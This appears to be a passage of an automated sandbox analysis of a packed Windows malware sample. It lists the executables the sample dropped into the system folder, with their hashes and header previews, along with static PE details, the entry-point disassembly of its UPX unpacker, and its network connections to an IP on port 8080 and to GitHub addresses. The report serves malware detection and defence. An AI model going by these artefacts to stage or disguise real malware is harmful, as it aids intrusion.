Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1262731
Entropy (8bit):	7.263679643764584
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG75:Lz071uv4BPMkibTIA5JnJ1P
MD5:	38FC44E4446DF51BB43DB463B23B573E
SHA1:	F8772309E40F7B9F7F1F0B1A3FC4BB3F2D1925BE
SHA-256:	D16893EB41B33543C48646D88E500D0570F0F3F3BF2898BBE743A1A4705B59D3
SHA-512:	6263C51E7E3E36DEB6F119AC13DECE24D98BD8FB0FE755FDDB783508DD568AC79EAD8F7C0E602768EEB4E92C3CD8BBB1C14D22EEA91C3F2476F08601D8DEF890
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\xNhRSWh.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1271333
Entropy (8bit):	7.25717682709944
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7V:Lz071uv4BPMkibTIA5JnJ13
MD5:	036653F8DBB022BA9B8937030290846A
SHA1:	F615E2A1E857202E3DCA3A7379B0981D73C22553
SHA-256:	93D1E2D61B348EA063BF788FF33CA424282308ABACAFB89CE78DE0474FE7E6FF
SHA-512:	CF62456AB7EAF9D024795E5B85859CA9903545DD156395195164E240BF92F03C9AE9D730B977D4026C375506765FEF061C7E4F2951D6CBF03ACC6F27B7F441C2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\xVIixqx.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1330282
Entropy (8bit):	7.214049225750489
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7XPVy:Lz071uv4BPMkibTIA5JnJ1xg
MD5:	96A52D7F9569B57869029DAABC1D2E94
SHA1:	142703CD94B9420161689D87B958523EFB21E52E
SHA-256:	953D33142687224C18044626117A76E3D3C9268547AF588626476A4E6BC3921B
SHA-512:	D46BCF45925CDF3135A70565928AA9902F77BDA3C0D5932487610D3E376B6FC47CEA7E4848FC8D82696920B8A74FB12343EC1D49A7A8D25FAB6678679C83A0E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\xZqqKxJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1361907
Entropy (8bit):	7.191888783921759
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7W:Lz071uv4BPMkibTIA5JnJ1I
MD5:	6780D2BCAFFD8BAEDC8EE9531DCFC527
SHA1:	4E732010AEDD6BD91850E3B87059DE8C59F03960
SHA-256:	FC98BB8BCEA6AB240C691BEE733E71803DE8C5833A7BB5FBEBA9586EAFEE117B
SHA-512:	E615E79A8839FCC17781282B99B872488E0B366B40BAD5FDA987EF3DED55C65C2BD3A27738E53FE9A16299F28CC3F6F98E96CD5DE324F096C3A8E14E2827C67F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\xneUGSK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1360895
Entropy (8bit):	7.192576865875785
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7x501nY/:Lz071uv4BPMkibTIA5JnJ1nsE
MD5:	2E084CEBA656715FA1CA31610A654535
SHA1:	9D0244B07F81FD4CE100E9FF55D8DD562941464F
SHA-256:	8FD8CA955CA7FB9C664992F16F385ABA1D55E23CF29B1A824FA3887E37766D78
SHA-512:	F9088DA0DA01611E2EEF8F111EBD9E8559461A90D6C5BAF15F80B1092C18A9340164E1EBC027273308885E251F2C8020F4971D187242CE147ACF2D51B829F68D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\xsirwHn.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1343944
Entropy (8bit):	7.204391258131104
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7s:Lz071uv4BPMkibTIA5JnJ1C
MD5:	59E772F2A9EBFC98C0F07C7ED9506F24
SHA1:	5E7E0043724B5C8D0DB2B7D090E0B9C3D11F1048
SHA-256:	F83145A696CF7D308B723E5108E30F440D82DCFD534825B7EBE367812E1A2A0E
SHA-512:	0AF5E5C7170D8B20E9A1E21F183CEE9B74F765AF7290D1947771C5D6B94BF5B8FC80D29E1A404C3E6BE21432448338DD2630401A931D5DFB47457EBD36504B42
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\xyokMuX.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1309789
Entropy (8bit):	7.2287606153563635
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG70kNHKp:Lz071uv4BPMkibTIA5JnJ16
MD5:	3B170125A10B7171C55A748A7FF3774C
SHA1:	4251A9EFA34B222E867A30F6959A47A0DB4762E4
SHA-256:	EB7F25850E17152D10E21DC7F4DE126C5EB43002F71B158DD7E9CC064A76614F
SHA-512:	B1565F02F8C6CA91C9B8409015873434CE90CBEF11E11F173AC2D68018E2B7936604DD1550AE80BFA27A0E01CA17B514F20C8DDF6B3C1DE03D13DEF46C300F41
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\yXkrKHV.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1320162
Entropy (8bit):	7.22129228666514
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7t2M:Lz071uv4BPMkibTIA5JnJ1b
MD5:	D65E36C7A2E150B354DA1AF51B9ACCBC
SHA1:	A6799C5DB945627E49F733EEF32B91EF084128E2
SHA-256:	7CCB132AEF9639DFF1BCAD961A0DB1C961B17D64743EA4613E5A09F09983CAE9
SHA-512:	AF090AEC5D822264B3389DA7977A0E471B46BB1ADC446D3DBB62326A94DC80FB0074DAB833C2A52B936536F849C416EC0D30ABC8E144202AE3616678A307F2C5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ykZgpGK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1287778
Entropy (8bit):	7.2449101382844665
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7h7:Lz071uv4BPMkibTIA5JnJ1n7
MD5:	9E6FCBFE30196411FBEA093AFFE5E66D
SHA1:	A46387B654F37D6D31D8D055B6FC4F5283773BF8
SHA-256:	6A5C190D6EA8A6898E8999E59F5904E2F2696EF5126C973DABE91407EC0C95FD
SHA-512:	7B53D27BDDD7677B230B32A4643007AED5F948886FA513FCB7FDEF1014004E2D57C156559FB989421465A3902DB74DAC40994C6DCF3ACF48BC2740B7396B6D65
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\yolnOnG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1351787
Entropy (8bit):	7.198909028703966
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7VNsvgGnU:Lz071uv4BPMkibTIA5JnJ1njz
MD5:	0B5F8D40ADE82136EC769A3A55508D4C
SHA1:	30A033515A22B416FEC07D776E817ACACE9404F1
SHA-256:	992CE23E059BB103DE5EC8903CECA15763CD98838B9B97E428FE1126FF43CCB1
SHA-512:	84D7A512DF436F3C0CB5D9E2885C57E6EB25F794F476855AC2E5E02BD38420DF5BED66D907AC02E63C6517D857FF45DC096DAE333DF732B0136CA06DBD58206B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\yuTigyc.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1274875
Entropy (8bit):	7.25451651298092
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7gfl:Lz071uv4BPMkibTIA5JnJ1ql
MD5:	088ED6197124BE7C7B4835DF5DBBFBE1
SHA1:	0FE135669B710A438F31FC6F00FA36FEFCAE4EF2
SHA-256:	A3B3734C1D907729BEF15E05452E3D056C3F62826640DE67A167FD33973F858F
SHA-512:	334EA7E481CD791B8E379BF2BD49DC7948E14F4CB7F4129AD360C5E241E6378F7F5DA9BE799D8BD64FB82CCB0BD720B912BDA0ADE7E29659EF465808E29F2B20
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\yzVBTwc.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1302452
Entropy (8bit):	7.2341115556045406
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7F40:Lz071uv4BPMkibTIA5JnJ13
MD5:	D66A2CACE25EC4DDD4D362D294A7BBA5
SHA1:	2A1DFC5F72B7AB4771EF1CBF28F916D4EDFE06D0
SHA-256:	5E468F518E1DDB28D6F2A6F8B8B540F82FB694839EC89751E5AD6FD3991C2F57
SHA-512:	4E68122C9681CF35C5D17C74E8FF842A1248095F49C5BB63B1CCEE05B5AE86757DD6CB5816CCDC9BB53EAA7E969F3570148195AC1A2AA90F2591F9D4CEE813EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\zJwJxgA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1359630
Entropy (8bit):	7.193448160985064
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7z0Va:Lz071uv4BPMkibTIA5JnJ1Rwa
MD5:	80665A58D9D4AA2FB255C03AD38025AB
SHA1:	D5BF978F93F5DBD3C91F1A828F5191264D35F1C5
SHA-256:	6E15EB3F480E09328418910B0106600C8CA6D2E39DFAA10C5B9C91CB16465B5F
SHA-512:	03AF0582417BDF6B3F17B8996DE2C33795C279AFFA1C8147BE31D590EA1663A72E83B8F0F2918FD212A550BB77B7A606D188C53776AF76C282BC07A891A3BD1F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\zYyqoWF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1280188
Entropy (8bit):	7.250544936933883
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7pVF:Lz071uv4BPMkibTIA5JnJ1FF
MD5:	07C2CB9C219D9FD8187EAEC620D345C7
SHA1:	F904BB92C099B989F733E6D236EF7218CDB2E263
SHA-256:	0EC3086278D0AFF7FDACEA757C38B223E783927087101233FF370762EBED0745
SHA-512:	92BD9F165132684637C36877518FE00470DD894B5C65515DA12D392EE0466C50E4DF3E4588823AF164A1E05AC98946E2B2EEA4FBFDDDC06C412C87D3F537A282
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ztQluWW.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285754
Entropy (8bit):	7.24640573597789
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7za:Lz071uv4BPMkibTIA5JnJ1s
MD5:	C8FA249D96E09C8E5B5BD6A8825EE127
SHA1:	3702B8C6B9A0048BD19D2DDB04645939836312D8
SHA-256:	FF2989379043B6CB38D86DC58EF36724DA5E39B6C43D990E97B93C908ADDEC59
SHA-512:	A19F1909787B6B0B8CC0803E3E83D5306422AB44681EAC0A53DDF36E5000E5E91A9B88227F655E7CA02381F0A82827CB15A6CCA350F5938EC3E4D2121F689395
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\zzbooXY.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1319403
Entropy (8bit):	7.221837474336891
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7FzmMm:Lz071uv4BPMkibTIA5JnJ1GB
MD5:	96AD376DED94C3DCCA2D1095A8EFCE35
SHA1:	5B8D286CB12820B0421E8B9406F39DB3CD5253E0
SHA-256:	C4F08C069FED344C93056DC4BFD227D3F7334E96B0CC7295BF801A6A37F55A1D
SHA-512:	211B1B171B005D81320F959C2A9299F99358E0BE8BBA7FBE68A7660F625099307A2C707E0EB0E085CDF680AC911FB2C280C780498CED4908EC36E9BE6074600D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.263679739371835
TrID:	Win64 Executable Console (202006/5) 81.26% UPX compressed Win32 Executable (30571/9) 12.30% Win64 Executable (generic) (12005/4) 4.83% Generic Win/DOS Executable (2004/3) 0.81% DOS Executable Generic (2002/1) 0.81%
File name:	file.exe
File size:	1'262'731 bytes
MD5:	011d87d169d7ba9f3d3fd9a7f6e4bf2d
SHA1:	d8b3f16c867541fb03f460a59042d17bbc20c0cf
SHA256:	1576f68ec71aa3b79d2f3ab363ee523951bde5da0d6afccc4a08247e48fd548b
SHA512:	3ad58c772ebeaecf4d08e782d5bb4b306d5ca94c92fc1fcc946f10fedbb166b448c898514b80b11cdf095cf6d0654d81e0da05a6b82f812e0c11b0d78208505c
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG76:Lz071uv4BPMkibTIA5JnJ14
TLSH:	4F4523435A067C3EDAEC287D3C3C1A378291CE204504AEB4D7D7219B695CAEC295F66F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............a...a...a.......a.......a......fa..>.&..a..(....a..(....a..(...0a.......a.......a...a...`.......a.......a.......a...av..a.

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x1403effe0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5D701114 [Wed Sep 4 19:31:32 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	e4290fa6afc89d56616f34ebbd0b1f2c

Entrypoint Preview

Instruction
push ebx
push esi
push edi
push ebp
dec eax
lea esi, dword ptr [FFF7D015h]
dec eax
lea edi, dword ptr [esi-0036C000h]
push edi
xor ebx, ebx
xor ecx, ecx
dec eax
or ebp, FFFFFFFFh
call 00007FC1488FE8B5h
add ebx, ebx
je 00007FC1488FE864h
rep ret
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
rep ret
dec eax
lea eax, dword ptr [edi+ebp]
cmp ecx, 05h
mov dl, byte ptr [eax]
jbe 00007FC1488FE883h
dec eax
cmp ebp, FFFFFFFCh
jnbe 00007FC1488FE87Dh
sub ecx, 04h
mov edx, dword ptr [eax]
dec eax
add eax, 04h
sub ecx, 04h
mov dword ptr [edi], edx
dec eax
lea edi, dword ptr [edi+04h]
jnc 00007FC1488FE851h
add ecx, 04h
mov dl, byte ptr [eax]
je 00007FC1488FE872h
dec eax
inc eax
mov byte ptr [edi], dl
sub ecx, 01h
mov dl, byte ptr [eax]
dec eax
lea edi, dword ptr [edi+01h]
jne 00007FC1488FE852h
rep ret
cld
inc ecx
pop ebx
jmp 00007FC1488FE86Ah
dec eax
inc esi
mov byte ptr [edi], dl
dec eax
inc edi
mov dl, byte ptr [esi]
add ebx, ebx
jne 00007FC1488FE86Ch
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
jc 00007FC1488FE848h
lea eax, dword ptr [ecx+01h]
jmp 00007FC1488FE869h
dec eax
inc ecx
call ebx
adc eax, eax
inc ecx
call ebx
adc eax, eax
add ebx, ebx
jne 00007FC1488FE86Ch
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
jnc 00007FC1488FE846h
sub eax, 03h
jc 00007FC1488FE87Bh
shl eax, 08h
movzx edx, dl
or eax, edx
dec eax
inc esi
xor eax, FFFFFFFFh
je 00007FC1488FE8BAh
sar eax, 1

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3f11dc	0x140	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3f1000	0x1dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x3db000	0x9d2c	UPX1
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f131c	0x14	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3f0268	0x28	UPX1
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3f0298	0x108	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x36c000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x36d000	0x84000	0x83400	cca445264419178737e4f5861eb3b502	False	0.9737574404761905	data	7.904463365681157	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3f1000	0x1000	0x400	5924d5df0a8d8d06f81399a7fd7bae0f	False	0.4443359375	data	4.221215347613449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x3f105c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
ADVAPI32.dll	LsaClose
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
USER32.dll	ShowWindow
WS2_32.dll	htons

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 15:49:52.819618940 CEST	49702	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:49:52.824549913 CEST	8080	49702	3.120.98.217	192.168.2.7
Sep 30, 2024 15:49:52.824640036 CEST	49702	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:49:52.824736118 CEST	49702	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:49:52.829907894 CEST	8080	49702	3.120.98.217	192.168.2.7
Sep 30, 2024 15:50:01.084182024 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.084239006 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.084346056 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.205034971 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.205060959 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.667973042 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.668201923 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.769547939 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.769573927 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.769918919 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.778569937 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.823415041 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.875880003 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.875950098 CEST	443	49703	185.199.111.133	192.168.2.7
Sep 30, 2024 15:50:01.876024961 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.879333973 CEST	49703	443	192.168.2.7	185.199.111.133
Sep 30, 2024 15:50:01.891453981 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:01.891508102 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:01.891575098 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:01.892009974 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:01.892025948 CEST	443	49704	140.82.121.4	192.168.2.7
